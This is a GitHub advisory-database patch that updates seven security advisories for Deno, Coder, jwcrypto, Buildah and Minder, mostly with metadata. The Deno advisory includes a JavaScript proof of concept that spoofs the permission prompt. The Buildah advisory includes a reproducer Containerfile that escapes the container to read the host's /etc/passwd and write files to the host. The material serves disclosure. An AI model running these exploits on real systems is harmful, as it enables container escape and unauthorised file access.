From 77cdef399b2585a1b98bcba91a81e3f1e4c998d2 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Thu, 21 Mar 2024 18:30:13 +0000 Subject: [PATCH] Publish Advisories GHSA-6q4w-9x56-rmwq GHSA-7cc2-r658-7xpf GHSA-j857-7rvv-vj97 GHSA-m4pq-fv2w-6hrw GHSA-pmf3-c36m-g5cf GHSA-v627-69v2-xx37 GHSA-wrqv-pf6j-mqjp --- .../GHSA-6q4w-9x56-rmwq.json | 38 ++++++++++++-- .../GHSA-7cc2-r658-7xpf.json | 10 ++-- .../GHSA-j857-7rvv-vj97.json | 10 ++-- .../GHSA-m4pq-fv2w-6hrw.json | 15 ++++-- .../GHSA-pmf3-c36m-g5cf.json | 52 +++++++++++++++++-- .../GHSA-v627-69v2-xx37.json | 16 +++++- .../GHSA-wrqv-pf6j-mqjp.json | 10 ++-- 7 files changed, 130 insertions(+), 21 deletions(-) diff --git a/advisories/github-reviewed/2024/03/GHSA-6q4w-9x56-rmwq/GHSA-6q4w-9x56-rmwq.json b/advisories/github-reviewed/2024/03/GHSA-6q4w-9x56-rmwq/GHSA-6q4w-9x56-rmwq.json index 5698c1113f3..04c6ab04d51 100644 --- a/advisories/github-reviewed/2024/03/GHSA-6q4w-9x56-rmwq/GHSA-6q4w-9x56-rmwq.json +++ b/advisories/github-reviewed/2024/03/GHSA-6q4w-9x56-rmwq/GHSA-6q4w-9x56-rmwq.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-6q4w-9x56-rmwq", - "modified": "2024-03-06T17:04:08Z", + "modified": "2024-03-21T18:29:15Z", "published": "2024-03-06T17:04:08Z", "aliases": [ "CVE-2024-27933" @@ -43,6 +43,10 @@ "type": "WEB", "url": "https://github.com/denoland/deno/security/advisories/GHSA-6q4w-9x56-rmwq" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27933" + }, { "type": "WEB", "url": "https://github.com/denoland/deno/commit/55fac9f5ead6d30996400e8597c969b675c5a22b" @@ -54,15 +58,43 @@ { "type": "PACKAGE", "url": "https://github.com/denoland/deno" + }, + { + "type": "WEB", + "url": "https://github.com/denoland/deno/blob/v1.39.0/runtime/permissions/prompter.rs#L214" + }, + { + "type": "WEB", + "url": "https://github.com/denoland/deno/blob/v1.39.0/runtime/permissions/prompter.rs#L220" + }, + { + "type": "WEB", + "url": "https://github.com/denoland/deno/blob/v1.39.0/runtime/permissions/prompter.rs#L225" + }, + { + "type": "WEB", + "url": "https://github.com/denoland/deno/blob/v1.39.0/runtime/permissions/prompter.rs#L241" + }, + { + "type": "WEB", + "url": "https://github.com/denoland/deno/blob/v1.39.0/runtime/permissions/prompter.rs#L256" + }, + { + "type": "WEB", + "url": "https://github.com/denoland/deno/blob/v1.39.0/runtime/permissions/prompter.rs#L265" + }, + { + "type": "WEB", + "url": "https://github.com/denoland/deno/blob/v1.39.0/runtime/permissions/prompter.rs#L99" } ], "database_specific": { "cwe_ids": [ - + "CWE-863" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-03-06T17:04:08Z", - "nvd_published_at": null + "nvd_published_at": "2024-03-21T02:52:22Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2024/03/GHSA-7cc2-r658-7xpf/GHSA-7cc2-r658-7xpf.json b/advisories/github-reviewed/2024/03/GHSA-7cc2-r658-7xpf/GHSA-7cc2-r658-7xpf.json index 852d274d3d3..167a6e6f7aa 100644 --- a/advisories/github-reviewed/2024/03/GHSA-7cc2-r658-7xpf/GHSA-7cc2-r658-7xpf.json +++ b/advisories/github-reviewed/2024/03/GHSA-7cc2-r658-7xpf/GHSA-7cc2-r658-7xpf.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-7cc2-r658-7xpf", - "modified": "2024-03-12T15:19:52Z", + "modified": "2024-03-21T18:29:31Z", "published": "2024-03-04T20:45:36Z", "aliases": [ "CVE-2024-27918" @@ -97,6 +97,10 @@ "type": "WEB", "url": "https://github.com/coder/coder/security/advisories/GHSA-7cc2-r658-7xpf" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27918" + }, { "type": "WEB", "url": "https://github.com/coder/coder/commit/1171ce7add017481d28441575024209ac160ecb0" @@ -120,11 +124,11 @@ ], "database_specific": { "cwe_ids": [ - + "CWE-20" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-03-04T20:45:36Z", - "nvd_published_at": null + "nvd_published_at": "2024-03-21T02:52:20Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2024/03/GHSA-j857-7rvv-vj97/GHSA-j857-7rvv-vj97.json b/advisories/github-reviewed/2024/03/GHSA-j857-7rvv-vj97/GHSA-j857-7rvv-vj97.json index 2c447b5b970..3b600d04fe9 100644 --- a/advisories/github-reviewed/2024/03/GHSA-j857-7rvv-vj97/GHSA-j857-7rvv-vj97.json +++ b/advisories/github-reviewed/2024/03/GHSA-j857-7rvv-vj97/GHSA-j857-7rvv-vj97.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-j857-7rvv-vj97", - "modified": "2024-03-06T20:00:56Z", + "modified": "2024-03-21T18:29:26Z", "published": "2024-03-06T20:00:56Z", "aliases": [ "CVE-2024-28102" @@ -43,6 +43,10 @@ "type": "WEB", "url": "https://github.com/latchset/jwcrypto/security/advisories/GHSA-j857-7rvv-vj97" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28102" + }, { "type": "WEB", "url": "https://github.com/latchset/jwcrypto/commit/90477a3b6e73da69740e00b8161f53fea19b831f" @@ -54,11 +58,11 @@ ], "database_specific": { "cwe_ids": [ - + "CWE-770" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2024-03-06T20:00:56Z", - "nvd_published_at": null + "nvd_published_at": "2024-03-21T02:52:23Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2024/03/GHSA-m4pq-fv2w-6hrw/GHSA-m4pq-fv2w-6hrw.json b/advisories/github-reviewed/2024/03/GHSA-m4pq-fv2w-6hrw/GHSA-m4pq-fv2w-6hrw.json index 8b123940820..269a8a1f182 100644 --- a/advisories/github-reviewed/2024/03/GHSA-m4pq-fv2w-6hrw/GHSA-m4pq-fv2w-6hrw.json +++ b/advisories/github-reviewed/2024/03/GHSA-m4pq-fv2w-6hrw/GHSA-m4pq-fv2w-6hrw.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-m4pq-fv2w-6hrw", - "modified": "2024-03-05T20:54:14Z", + "modified": "2024-03-21T18:29:23Z", "published": "2024-03-05T20:54:14Z", "aliases": [ "CVE-2024-27936" @@ -9,7 +9,10 @@ "summary": "Deno's deno_runtime vulnerable to interactive permission prompt spoofing via improper ANSI stripping", "details": "### Summary\nA maliciously crafted permission request can show the spoofed permission prompt by inserting a broken ANSI escape sequence into the request contents.\n\n### Details\nIn [the patch for CVE-2023-28446](https://github.com/denoland/deno/commit/78d430103a8f6931154ddbbe19d36f3b8630286d), Deno is stripping any ANSI escape sequences from the permission prompt, but permissions given to the program are based on the contents that contain the ANSI escape sequences.\n\nFor example, requesting the read permission with `/tmp/hello\\u001b[/../../etc/hosts` as a path will display the `/tmp/hellotc/hosts` in the permission prompt, but the actual permission given to the program is `/tmp/hello\\u001b[/../../etc/hosts`, which is `/etc/hosts` after the normalization.\n\nThis difference allows a malicious Deno program to spoof the contents of the permission prompt.\n\n\n### PoC\nRun the following JavaScript and observe that `/tmp/hellotc/hosts` is displayed in the permission prompt instead of `/etc/hosts`, although Deno gives access to `/etc/hosts`.\n``` javascript\nconst permission = { name: \"read\", path: \"/tmp/hello\\u001b[/../../etc/hosts\" };\nawait Deno.permissions.request(permission);\nconsole.log(await Deno.readTextFile(\"/etc/hosts\"));\n```\n\n#### Expected prompt\n```\n┌ ⚠️ Deno requests read access to \"/etc/hosts\".\n├ Requested by `Deno.permissions.query()` API\n├ Run again with --allow-read to bypass this prompt.\n└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >\n```\n\n#### Actual prompt\n```\n┌ ⚠️ Deno requests read access to \"/tmp/hellotc/hosts\".\n├ Requested by `Deno.permissions.query()` API\n├ Run again with --allow-read to bypass this prompt.\n└ Allow? [y/n/A] (y = yes, allow; n = no, deny; A = allow all read permissions) >\n\n```\n\n### Impact\nAny Deno program can spoof the content of the interactive permission prompt by inserting a broken ANSI code, which allows a malicious Deno program to display the wrong file path or program name to the user.", "severity": [ - + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" + } ], "affected": [ { @@ -37,6 +40,10 @@ "type": "WEB", "url": "https://github.com/denoland/deno/security/advisories/GHSA-m4pq-fv2w-6hrw" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27936" + }, { "type": "WEB", "url": "https://github.com/denoland/deno/commit/78d430103a8f6931154ddbbe19d36f3b8630286d" @@ -52,11 +59,11 @@ ], "database_specific": { "cwe_ids": [ - + "CWE-150" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-03-05T20:54:14Z", - "nvd_published_at": null + "nvd_published_at": "2024-03-21T02:52:22Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2024/03/GHSA-pmf3-c36m-g5cf/GHSA-pmf3-c36m-g5cf.json b/advisories/github-reviewed/2024/03/GHSA-pmf3-c36m-g5cf/GHSA-pmf3-c36m-g5cf.json index 23500323b9a..5291ed03096 100644 --- a/advisories/github-reviewed/2024/03/GHSA-pmf3-c36m-g5cf/GHSA-pmf3-c36m-g5cf.json +++ b/advisories/github-reviewed/2024/03/GHSA-pmf3-c36m-g5cf/GHSA-pmf3-c36m-g5cf.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-pmf3-c36m-g5cf", - "modified": "2024-03-19T20:06:52Z", + "modified": "2024-03-21T18:28:46Z", "published": "2024-03-19T20:06:52Z", "aliases": [ ], "summary": "Container escape at build time", - "details": "### Impact\n\nUsers running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.\n\n### Patches\nFrom @nalind \n```\n# cat /root/cve-2024-1753.diff\n--- internal/volumes/volumes.go\n+++ internal/volumes/volumes.go\n@@ -11,6 +11,7 @@ import (\n \n \t\"errors\"\n \n+\t\"github.com/containers/buildah/copier\"\n \t\"github.com/containers/buildah/define\"\n \t\"github.com/containers/buildah/internal\"\n \tinternalParse \"github.com/containers/buildah/internal/parse\"\n@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st\n \t// buildkit parity: support absolute path for sources from current build context\n \tif contextDir != \"\" {\n \t\t// path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, \"\", err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n \t} else {\n \t\t// looks like its coming from `build run --mount=type=bind` allow using absolute path\n \t\t// error out if no source is set\n```\n### Reproducer\n\nPrior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system.\n\nUse the following Containerfile\n\n```\n# cat ~/cve_Containerfile\nFROM alpine as base\n\nRUN ln -s / /rootdir\nRUN ln -s /etc /etc2\n\nFROM alpine\n\nRUN echo \"ls container root\"\nRUN ls -l /\n\nRUN echo \"With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host\"\nRUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit\n\nRUN echo \"With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host\"\nRUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 \n```\n\n#### To Test\n\n##### Testing with an older version of Buildah with the issue\n```\nsetenforce 0\nbuildah build -f ~/cve_Containerfile .\n```\n\nAs part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. \n\n```\nbuildah rm -a\nbuildah rmi -a\nrm /BIND_BREAKOUT\nrm /etc/BIND_BREAKOUT2\nsetenforce 1\nbuildah build -f ~/cve_Containerfile .\n```\nNeither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. \n\nHowever, the files in both the `/` and `/etc` directories on the host system will be displayed.\n\n##### Testing with the patch\n\nUse the same commands as testing with an older version of Buildah.\n\nWhen running using the patched version of Buildah, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes.\n\nNOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image.\n\n\n### Workarounds\nEnsure selinux controls are in place to avoid compromising sensitive system files and systems. With \"setenforce 0\" set, which is not at all advised, the root file system is open for modification with this exploit. With \"setenfoce 1\" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory.\n\n### References\n\nUnknown.\n", + "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nUsers running containers with root privileges allowing a container to run with read/write access to the host system files when selinux is not enabled. With selinux enabled, some read access is allowed.\n\n### Patches\nFrom @nalind \n```\n# cat /root/cve-2024-1753.diff\n--- internal/volumes/volumes.go\n+++ internal/volumes/volumes.go\n@@ -11,6 +11,7 @@ import (\n \n \t\"errors\"\n \n+\t\"github.com/containers/buildah/copier\"\n \t\"github.com/containers/buildah/define\"\n \t\"github.com/containers/buildah/internal\"\n \tinternalParse \"github.com/containers/buildah/internal/parse\"\n@@ -189,7 +190,11 @@ func GetBindMount(ctx *types.SystemContext, args []string, contextDir string, st\n \t// buildkit parity: support absolute path for sources from current build context\n \tif contextDir != \"\" {\n \t\t// path should be /contextDir/specified path\n-\t\tnewMount.Source = filepath.Join(contextDir, filepath.Clean(string(filepath.Separator)+newMount.Source))\n+\t\tevaluated, err := copier.Eval(contextDir, newMount.Source, copier.EvalOptions{})\n+\t\tif err != nil {\n+\t\t\treturn newMount, \"\", err\n+\t\t}\n+\t\tnewMount.Source = evaluated\n \t} else {\n \t\t// looks like its coming from `build run --mount=type=bind` allow using absolute path\n \t\t// error out if no source is set\n```\n### Reproducer\n\nPrior to testing, as root, add a memorable username to `/etc/passwd` via adduser or your favorite editor. Also create a memorably named file in `/`. Suggest: `touch /SHOULDNTSEETHIS.txt` and `adduser SHOULDNTSEETHIS`. After testing, remember to remove both the file and the user from your system.\n\nUse the following Containerfile\n\n```\n# cat ~/cve_Containerfile\nFROM alpine as base\n\nRUN ln -s / /rootdir\nRUN ln -s /etc /etc2\n\nFROM alpine\n\nRUN echo \"ls container root\"\nRUN ls -l /\n\nRUN echo \"With exploit show host root, not the container's root, and create /BIND_BREAKOUT in / on the host\"\nRUN --mount=type=bind,from=base,source=/rootdir,destination=/exploit,rw ls -l /exploit; touch /exploit/BIND_BREAKOUT; ls -l /exploit\n\nRUN echo \"With exploit show host /etc/passwd, not the container's, and create /BIND_BREAKOUT2 in /etc on the host\"\nRUN --mount=type=bind,rw,source=/etc2,destination=/etc2,from=base ls -l /; ls -l /etc2/passwd; cat /etc2/passwd; touch /etc2/BIND_BREAKOUT2; ls -l /etc2 \n```\n\n#### To Test\n\n##### Testing with an older version of Buildah with the issue\n```\nsetenforce 0\nbuildah build -f ~/cve_Containerfile .\n```\n\nAs part of the printout from the build, you should be able to see the contents of the `/' and `/etc` directories, including the `/SHOULDNOTSEETHIS.txt` file that you created, and the contents of the `/etc/passwd` file which will include the `SHOULDNOTSEETHIS` user that you created. In addition, the file `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT2` will exist on the host after the command is completed. Be sure to remove those two files between tests. \n\n```\nbuildah rm -a\nbuildah rmi -a\nrm /BIND_BREAKOUT\nrm /etc/BIND_BREAKOUT2\nsetenforce 1\nbuildah build -f ~/cve_Containerfile .\n```\nNeither the `/BIND_BREAKEOUT` or `/etc/BIND_BREAKOUT2` files should be created. An error should be raised during the build when both files are trying to be created. Also, errors will be raised when the build tries to display the contents of the `/etc/passwd` file, and nothing will be displayed from that file. \n\nHowever, the files in both the `/` and `/etc` directories on the host system will be displayed.\n\n##### Testing with the patch\n\nUse the same commands as testing with an older version of Buildah.\n\nWhen running using the patched version of Buildah, regardless of the `setenforce` settings, you should not see the file that you created or the user that you added. Also the `/BIND_BREAKOUT` and the `/etc/BIND_BREAKOUT` will not exist on the host after the test completes.\n\nNOTE: With the fix, the contents of the `/` and `/etc` directories, and the `/etc/passwd` file will be displayed, however, it will be the file and contents from the container image, and NOT the host system. Also the `/BIND_BREAKOUT` and `/etc/BIND_BREAKOUT` files will be created in the container image.\n\n\n### Workarounds\nEnsure selinux controls are in place to avoid compromising sensitive system files and systems. With \"setenforce 0\" set, which is not at all advised, the root file system is open for modification with this exploit. With \"setenfoce 1\" set, which is the recommendation, files can not be changed. However, the contents of the `/` directory can be displayed. I.e., `ls -alF /` will show the contents of the host directory.\n\n### References\n\nUnknown.\n", "severity": [ ], @@ -22,7 +22,7 @@ "type": "ECOSYSTEM", "events": [ { - "introduced": "0" + "introduced": "1.35.0" }, { "fixed": "1.35.1" @@ -30,6 +30,44 @@ ] } ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/containers/buildah" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "1.34.0" + }, + { + "fixed": "1.34.3" + } + ] + } + ] + }, + { + "package": { + "ecosystem": "Go", + "name": "github.com/containers/buildah" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "1.33.7" + } + ] + } + ] } ], "references": [ @@ -37,10 +75,18 @@ "type": "WEB", "url": "https://github.com/containers/buildah/security/advisories/GHSA-pmf3-c36m-g5cf" }, + { + "type": "WEB", + "url": "https://github.com/containers/buildah/commit/3deda19137f5dec0285bbb832bd93c22d860b087" + }, { "type": "WEB", "url": "https://github.com/containers/buildah/commit/9de9c20ff368beb84b84fe660773d352519dc1c5" }, + { + "type": "WEB", + "url": "https://github.com/containers/buildah/commit/a030f7b8cd373075affef1f86de43a87e502f3d8" + }, { "type": "PACKAGE", "url": "https://github.com/containers/buildah" diff --git a/advisories/github-reviewed/2024/03/GHSA-v627-69v2-xx37/GHSA-v627-69v2-xx37.json b/advisories/github-reviewed/2024/03/GHSA-v627-69v2-xx37/GHSA-v627-69v2-xx37.json index 9ef39b8a4fa..48c6de44c8f 100644 --- a/advisories/github-reviewed/2024/03/GHSA-v627-69v2-xx37/GHSA-v627-69v2-xx37.json +++ b/advisories/github-reviewed/2024/03/GHSA-v627-69v2-xx37/GHSA-v627-69v2-xx37.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-v627-69v2-xx37", - "modified": "2024-03-12T15:17:31Z", + "modified": "2024-03-21T18:29:29Z", "published": "2024-03-05T16:20:07Z", "aliases": [ "CVE-2024-27916" @@ -40,6 +40,10 @@ "type": "WEB", "url": "https://github.com/stacklok/minder/security/advisories/GHSA-v627-69v2-xx37" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27916" + }, { "type": "WEB", "url": "https://github.com/stacklok/minder/commit/45750b4e9fb2de33365758366e06c19e999bd2eb" @@ -47,6 +51,14 @@ { "type": "PACKAGE", "url": "https://github.com/stacklok/minder" + }, + { + "type": "WEB", + "url": "https://github.com/stacklok/minder/blob/a115c8524fbd582b2b277eaadce024bebbded508/internal/controlplane/handlers_repositories.go#L277-L278" + }, + { + "type": "WEB", + "url": "https://github.com/stacklok/minder/blob/main/internal/controlplane/handlers_repositories.go#L257-L299" } ], "database_specific": { @@ -56,6 +68,6 @@ "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-03-05T16:20:07Z", - "nvd_published_at": null + "nvd_published_at": "2024-03-21T02:52:20Z" } } \ No newline at end of file diff --git a/advisories/github-reviewed/2024/03/GHSA-wrqv-pf6j-mqjp/GHSA-wrqv-pf6j-mqjp.json b/advisories/github-reviewed/2024/03/GHSA-wrqv-pf6j-mqjp/GHSA-wrqv-pf6j-mqjp.json index 92f4b5c2595..78b40b4ab31 100644 --- a/advisories/github-reviewed/2024/03/GHSA-wrqv-pf6j-mqjp/GHSA-wrqv-pf6j-mqjp.json +++ b/advisories/github-reviewed/2024/03/GHSA-wrqv-pf6j-mqjp/GHSA-wrqv-pf6j-mqjp.json @@ -1,7 +1,7 @@ { "schema_version": "1.4.0", "id": "GHSA-wrqv-pf6j-mqjp", - "modified": "2024-03-05T20:49:14Z", + "modified": "2024-03-21T18:29:19Z", "published": "2024-03-05T20:49:14Z", "aliases": [ "CVE-2024-27935" @@ -40,6 +40,10 @@ "type": "WEB", "url": "https://github.com/denoland/deno/security/advisories/GHSA-wrqv-pf6j-mqjp" }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27935" + }, { "type": "WEB", "url": "https://github.com/denoland/deno/issues/20188" @@ -55,11 +59,11 @@ ], "database_specific": { "cwe_ids": [ - + "CWE-488" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-03-05T20:49:14Z", - "nvd_published_at": null + "nvd_published_at": "2024-03-21T02:52:22Z" } } \ No newline at end of file